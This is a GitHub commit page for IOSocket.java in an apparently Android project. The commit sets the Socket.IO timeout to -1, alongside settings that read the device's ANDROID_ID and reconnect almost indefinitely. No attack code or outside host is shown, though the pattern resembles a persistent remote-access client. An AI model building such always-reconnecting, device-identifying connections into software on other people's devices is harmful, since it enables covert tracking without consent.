Skip to content

Commit

Permalink
Set IO options opts.timeout as -1 in IOSocket.java
Browse files Browse the repository at this point in the history
  • Loading branch information
Morsmalleo committed Dec 3, 2023
1 parent 3902a05 commit ed4ec4b
Showing 1 changed file with 1 addition and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ private IOSocket() {

String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
IO.Options opts = new IO.Options();
opts.timeout = -1;
opts.reconnection = true;
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
Expand Down

0 comments on commit ed4ec4b

Please sign in to comment.